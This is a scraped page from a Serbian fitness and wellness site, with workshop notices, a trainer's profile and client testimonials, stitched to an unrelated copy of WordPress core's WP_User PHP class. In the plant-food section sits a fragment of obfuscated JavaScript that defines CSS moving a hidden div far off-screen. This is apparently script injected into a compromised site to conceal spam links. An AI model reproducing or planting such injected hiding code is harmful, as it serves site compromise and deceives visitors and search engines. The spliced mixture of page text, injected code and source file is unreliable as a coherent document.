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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
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Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
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Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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<?php
/**
 * User API: WP_User class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to implement the WP_User object.
 *
 * @since 2.0.0
 *
 * @property string $nickname
 * @property string $description
 * @property string $user_description
 * @property string $first_name
 * @property string $user_firstname
 * @property string $last_name
 * @property string $user_lastname
 * @property string $user_login
 * @property string $user_pass
 * @property string $user_nicename
 * @property string $user_email
 * @property string $user_url
 * @property string $user_registered
 * @property string $user_activation_key
 * @property string $user_status
 * @property int    $user_level
 * @property string $display_name
 * @property string $spam
 * @property string $deleted
 * @property string $locale
 */
class WP_User {
	/**
	 * User data container.
	 *
	 * @since 2.0.0
	 * @var object
	 */
	public $data;

	/**
	 * The user's ID.
	 *
	 * @since 2.1.0
	 * @access public
	 * @var int
	 */
	public $ID = 0;

	/**
	 * The individual capabilities the user has been given.
	 *
	 * @since 2.0.0
	 * @access public
	 * @var array
	 */
	public $caps = array();

	/**
	 * User metadata option name.
	 *
	 * @since 2.0.0
	 * @access public
	 * @var string
	 */
	public $cap_key;

	/**
	 * The roles the user is part of.
	 *
	 * @since 2.0.0
	 * @access public
	 * @var array
	 */
	public $roles = array();

	/**
	 * All capabilities the user has, including individual and role based.
	 *
	 * @since 2.0.0
	 * @access public
	 * @var array
	 */
	public $allcaps = array();

	/**
	 * The filter context applied to user data fields.
	 *
	 * @since 2.9.0
	 * @access private
	 * @var string
	 */
	var $filter = null;

	/**
	 * @static
	 * @access private
	 * @var array
	 */
	private static $back_compat_keys;

	/**
	 * Constructor.
	 *
	 * Retrieves the userdata and passes it to WP_User::init().
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB.
	 * @param string $name Optional. User's username
	 * @param int $blog_id Optional Site ID, defaults to current site.
	 */
	public function __construct( $id = 0, $name = '', $blog_id = '' ) {
		if ( ! isset( self::$back_compat_keys ) ) {
			$prefix = $GLOBALS['wpdb']->prefix;
			self::$back_compat_keys = array(
				'user_firstname' => 'first_name',
				'user_lastname' => 'last_name',
				'user_description' => 'description',
				'user_level' => $prefix . 'user_level',
				$prefix . 'usersettings' => $prefix . 'user-settings',
				$prefix . 'usersettingstime' => $prefix . 'user-settings-time',
			);
		}

		if ( $id instanceof WP_User ) {
			$this->init( $id->data, $blog_id );
			return;
		} elseif ( is_object( $id ) ) {
			$this->init( $id, $blog_id );
			return;
		}

		if ( ! empty( $id ) && ! is_numeric( $id ) ) {
			$name = $id;
			$id = 0;
		}

		if ( $id ) {
			$data = self::get_data_by( 'id', $id );
		} else {
			$data = self::get_data_by( 'login', $name );
		}

		if ( $data ) {
			$this->init( $data, $blog_id );
		} else {
			$this->data = new stdClass;
		}
	}

	/**
	 * Sets up object properties, including capabilities.
	 *
	 * @param object $data    User DB row object.
	 * @param int    $blog_id Optional. The site ID to initialize for.
	 */
	public function init( $data, $blog_id = '' ) {
		$this->data = $data;
		$this->ID = (int) $data->ID;

		$this->for_blog( $blog_id );
	}

	/**
	 * Return only the main user fields
	 *
	 * @since 3.3.0
	 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
	 *
	 * @static
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'.
	 * @param string|int $value The field value
	 * @return object|false Raw user object
	 */
	public static function get_data_by( $field, $value ) {
		global $wpdb;

		// 'ID' is an alias of 'id'.
		if ( 'ID' === $field ) {
			$field = 'id';
		}

		if ( 'id' == $field ) {
			// Make sure the value is numeric to avoid casting objects, for example,
			// to int 1.
			if ( ! is_numeric( $value ) )
				return false;
			$value = intval( $value );
			if ( $value < 1 )
				return false;
		} else {
			$value = trim( $value );
		}

		if ( !$value )
			return false;

		switch ( $field ) {
			case 'id':
				$user_id = $value;
				$db_field = 'ID';
				break;
			case 'slug':
				$user_id = wp_cache_get($value, 'userslugs');
				$db_field = 'user_nicename';
				break;
			case 'email':
				$user_id = wp_cache_get($value, 'useremail');
				$db_field = 'user_email';
				break;
			case 'login':
				$value = sanitize_user( $value );
				$user_id = wp_cache_get($value, 'userlogins');
				$db_field = 'user_login';
				break;
			default:
				return false;
		}

		if ( false !== $user_id ) {
			if ( $user = wp_cache_get( $user_id, 'users' ) )
				return $user;
		}

		if ( !$user = $wpdb->get_row( $wpdb->prepare(
			"SELECT * FROM $wpdb->users WHERE $db_field = %s", $value
		) ) )
			return false;

		update_user_caches( $user );

		return $user;
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.3.0
	 * @access public
	 *
	 * @param callable $name      Method to call.
	 * @param array    $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( '_init_caps' === $name ) {
			return call_user_func_array( array( $this, $name ), $arguments );
		}
		return false;
	}

	/**
	 * Magic method for checking the existence of a certain custom field.
	 *
	 * @since 3.3.0
	 * @access public
	 *
	 * @param string $key User meta key to check if set.
	 * @return bool Whether the given user meta key is set.
	 */
	public function __isset( $key ) {
		if ( 'id' == $key ) {
			_deprecated_argument( 'WP_User->id', '2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			$key = 'ID';
		}

		if ( isset( $this->data->$key ) )
			return true;

		if ( isset( self::$back_compat_keys[ $key ] ) )
			$key = self::$back_compat_keys[ $key ];

		return metadata_exists( 'user', $this->ID, $key );
	}

	/**
	 * Magic method for accessing custom fields.
	 *
	 * @since 3.3.0
	 * @access public
	 *
	 * @param string $key User meta key to retrieve.
	 * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID.
	 */
	public function __get( $key ) {
		if ( 'id' == $key ) {
			_deprecated_argument( 'WP_User->id', '2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			return $this->ID;
		}

		if ( isset( $this->data->$key ) ) {
			$value = $this->data->$key;
		} else {
			if ( isset( self::$back_compat_keys[ $key ] ) )
				$key = self::$back_compat_keys[ $key ];
			$value = get_user_meta( $this->ID, $key, true );
		}

		if ( $this->filter ) {
			$value = sanitize_user_field( $key, $value, $this->ID, $this->filter );
		}

		return $value;
	}

	/**
	 * Magic method for setting custom user fields.
	 *
	 * This method does not update custom fields in the database. It only stores
	 * the value on the WP_User instance.
	 *
	 * @since 3.3.0
	 * @access public
	 *
	 * @param string $key   User meta key.
	 * @param mixed  $value User meta value.
	 */
	public function __set( $key, $value ) {
		if ( 'id' == $key ) {
			_deprecated_argument( 'WP_User->id', '2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
			$this->ID = $value;
			return;
		}

		$this->data->$key = $value;
	}

	/**
	 * Magic method for unsetting a certain custom field.
	 *
	 * @since 4.4.0
	 * @access public
	 *
	 * @param string $key User meta key to unset.
	 */
	public function __unset( $key ) {
		if ( 'id' == $key ) {
			_deprecated_argument( 'WP_User->id', '2.1.0',
				sprintf(
					/* translators: %s: WP_User->ID */
					__( 'Use %s instead.' ),
					'<code>WP_User->ID</code>'
				)
			);
		}

		if ( isset( $this->data->$key ) ) {
			unset( $this->data->$key );
		}

		if ( isset( self::$back_compat_keys[ $key ] ) ) {
			unset( self::$back_compat_keys[ $key ] );
		}
	}

	/**
	 * Determine whether the user exists in the database.
	 *
	 * @since 3.4.0
	 * @access public
	 *
	 * @return bool True if user exists in the database, false if not.
	 */
	public function exists() {
		return ! empty( $this->ID );
	}

	/**
	 * Retrieve the value of a property or meta key.
	 *
	 * Retrieves from the users and usermeta table.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key Property
	 * @return mixed
	 */
	public function get( $key ) {
		return $this->__get( $key );
	}

	/**
	 * Determine whether a property or meta key is set
	 *
	 * Consults the users and usermeta tables.
	 *
	 * @since 3.3.0
	 *
	 * @param string $key Property
	 * @return bool
	 */
	public function has_prop( $key ) {
		return $this->__isset( $key );
	}

	/**
	 * Return an array representation.
	 *
	 * @since 3.5.0
	 *
	 * @return array Array representation.
	 */
	public function to_array() {
		return get_object_vars( $this->data );
	}

	/**
	 * Set up capability object properties.
	 *
	 * Will set the value for the 'cap_key' property to current database table
	 * prefix, followed by 'capabilities'. Will then check to see if the
	 * property matching the 'cap_key' exists and is an array. If so, it will be
	 * used.
	 *
	 * @access protected
	 * @since 2.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $cap_key Optional capability key
	 */
	protected function _init_caps( $cap_key = '' ) {
		global $wpdb;

		if ( empty($cap_key) )
			$this->cap_key = $wpdb->get_blog_prefix() . 'capabilities';
		else
			$this->cap_key = $cap_key;

		$this->caps = get_user_meta( $this->ID, $this->cap_key, true );

		if ( ! is_array( $this->caps ) )
			$this->caps = array();

		$this->get_role_caps();
	}

	/**
	 * Retrieve all of the role capabilities and merge with individual capabilities.
	 *
	 * All of the capabilities of the roles the user belongs to are merged with
	 * the users individual roles. This also means that the user can be denied
	 * specific roles that their role might have, but the specific user isn't
	 * granted permission to.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @return array List of all capabilities for the user.
	 */
	public function get_role_caps() {
		$wp_roles = wp_roles();

		//Filter out caps that are not role names and assign to $this->roles
		if ( is_array( $this->caps ) )
			$this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) );

		//Build $allcaps from role caps, overlay user's $caps
		$this->allcaps = array();
		foreach ( (array) $this->roles as $role ) {
			$the_role = $wp_roles->get_role( $role );
			$this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities );
		}
		$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );

		return $this->allcaps;
	}

	/**
	 * Add role to user.
	 *
	 * Updates the user's meta data option with capabilities and roles.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $role Role name.
	 */
	public function add_role( $role ) {
		if ( empty( $role ) ) {
			return;
		}

		$this->caps[$role] = true;
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		/**
		 * Fires immediately after the user has been given a new role.
		 *
		 * @since 4.3.0
		 *
		 * @param int    $user_id The user ID.
		 * @param string $role    The new role.
		 */
		do_action( 'add_user_role', $this->ID, $role );
	}

	/**
	 * Remove role from user.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $role Role name.
	 */
	public function remove_role( $role ) {
		if ( !in_array($role, $this->roles) )
			return;
		unset( $this->caps[$role] );
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		/**
		 * Fires immediately after a role as been removed from a user.
		 *
		 * @since 4.3.0
		 *
		 * @param int    $user_id The user ID.
		 * @param string $role    The removed role.
		 */
		do_action( 'remove_user_role', $this->ID, $role );
	}

	/**
	 * Set the role of the user.
	 *
	 * This will remove the previous roles of the user and assign the user the
	 * new one. You can set the role to an empty string and it will remove all
	 * of the roles from the user.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $role Role name.
	 */
	public function set_role( $role ) {
		if ( 1 == count( $this->roles ) && $role == current( $this->roles ) )
			return;

		foreach ( (array) $this->roles as $oldrole )
			unset( $this->caps[$oldrole] );

		$old_roles = $this->roles;
		if ( !empty( $role ) ) {
			$this->caps[$role] = true;
			$this->roles = array( $role => true );
		} else {
			$this->roles = false;
		}
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();

		/**
		 * Fires after the user's role has changed.
		 *
		 * @since 2.9.0
		 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles.
		 *
		 * @param int    $user_id   The user ID.
		 * @param string $role      The new role.
		 * @param array  $old_roles An array of the user's previous roles.
		 */
		do_action( 'set_user_role', $this->ID, $role, $old_roles );
	}

	/**
	 * Choose the maximum level the user has.
	 *
	 * Will compare the level from the $item parameter against the $max
	 * parameter. If the item is incorrect, then just the $max parameter value
	 * will be returned.
	 *
	 * Used to get the max level based on the capabilities the user has. This
	 * is also based on roles, so if the user is assigned the Administrator role
	 * then the capability 'level_10' will exist and the user will get that
	 * value.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param int $max Max level of user.
	 * @param string $item Level capability name.
	 * @return int Max Level.
	 */
	public function level_reduction( $max, $item ) {
		if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
			$level = intval( $matches[1] );
			return max( $max, $level );
		} else {
			return $max;
		}
	}

	/**
	 * Update the maximum user level for the user.
	 *
	 * Updates the 'user_level' user metadata (includes prefix that is the
	 * database table prefix) with the maximum user level. Gets the value from
	 * the all of the capabilities that the user has.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function update_user_level_from_caps() {
		global $wpdb;
		$this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 );
		update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level );
	}

	/**
	 * Add capability and grant or deny access to capability.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $cap Capability name.
	 * @param bool $grant Whether to grant capability to user.
	 */
	public function add_cap( $cap, $grant = true ) {
		$this->caps[$cap] = $grant;
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();
	}

	/**
	 * Remove capability from user.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param string $cap Capability name.
	 */
	public function remove_cap( $cap ) {
		if ( ! isset( $this->caps[ $cap ] ) ) {
			return;
		}
		unset( $this->caps[ $cap ] );
		update_user_meta( $this->ID, $this->cap_key, $this->caps );
		$this->get_role_caps();
		$this->update_user_level_from_caps();
	}

	/**
	 * Remove all of the capabilities of the user.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function remove_all_caps() {
		global $wpdb;
		$this->caps = array();
		delete_user_meta( $this->ID, $this->cap_key );
		delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' );
		$this->get_role_caps();
	}

	/**
	 * Whether user has capability or role name.
	 *
	 * While checking against particular roles in place of a capability is supported
	 * in part, this practice is discouraged as it may produce unreliable results.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @see map_meta_cap()
	 *
	 * @param string $cap           Capability name.
	 * @param int    $object_id,... Optional. ID of the specific object to check against if `$cap` is a "meta" cap.
	 *                              "Meta" capabilities, e.g. 'edit_post', 'edit_user', etc., are capabilities used
	 *                              by map_meta_cap() to map to other "primitive" capabilities, e.g. 'edit_posts',
	 *                              'edit_others_posts', etc. The parameter is accessed via func_get_args() and passed
	 *                              to map_meta_cap().
	 * @return bool Whether the current user has the given capability. If `$cap` is a meta cap and `$object_id` is
	 *              passed, whether the current user has the given meta capability for the given object.
	 */
	public function has_cap( $cap ) {
		if ( is_numeric( $cap ) ) {
			_deprecated_argument( __FUNCTION__, '2.0.0', __('Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead.') );
			$cap = $this->translate_level_to_cap( $cap );
		}

		$args = array_slice( func_get_args(), 1 );
		$args = array_merge( array( $cap, $this->ID ), $args );
		$caps = call_user_func_array( 'map_meta_cap', $args );

		// Multisite super admin has all caps by definition, Unless specifically denied.
		if ( is_multisite() && is_super_admin( $this->ID ) ) {
			if ( in_array('do_not_allow', $caps) )
				return false;
			return true;
		}

		/**
		 * Dynamically filter a user's capabilities.
		 *
		 * @since 2.0.0
		 * @since 3.7.0 Added the user object.
		 *
		 * @param array   $allcaps An array of all the user's capabilities.
		 * @param array   $caps    Actual capabilities for meta capability.
		 * @param array   $args    Optional parameters passed to has_cap(), typically object ID.
		 * @param WP_User $user    The user object.
		 */
		$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );

		// Everyone is allowed to exist.
		$capabilities['exist'] = true;

		// Must have ALL requested caps.
		foreach ( (array) $caps as $cap ) {
			if ( empty( $capabilities[ $cap ] ) )
				return false;
		}

		return true;
	}

	/**
	 * Convert numeric level to level capability name.
	 *
	 * Prepends 'level_' to level number.
	 *
	 * @since 2.0.0
	 * @access public
	 *
	 * @param int $level Level number, 1 to 10.
	 * @return string
	 */
	public function translate_level_to_cap( $level ) {
		return 'level_' . $level;
	}

	/**
	 * Set the site to operate on. Defaults to the current site.
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $blog_id Optional. Site ID, defaults to current site.
	 */
	public function for_blog( $blog_id = '' ) {
		global $wpdb;
		if ( ! empty( $blog_id ) )
			$cap_key = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
		else
			$cap_key = '';
		$this->_init_caps( $cap_key );
	}
}

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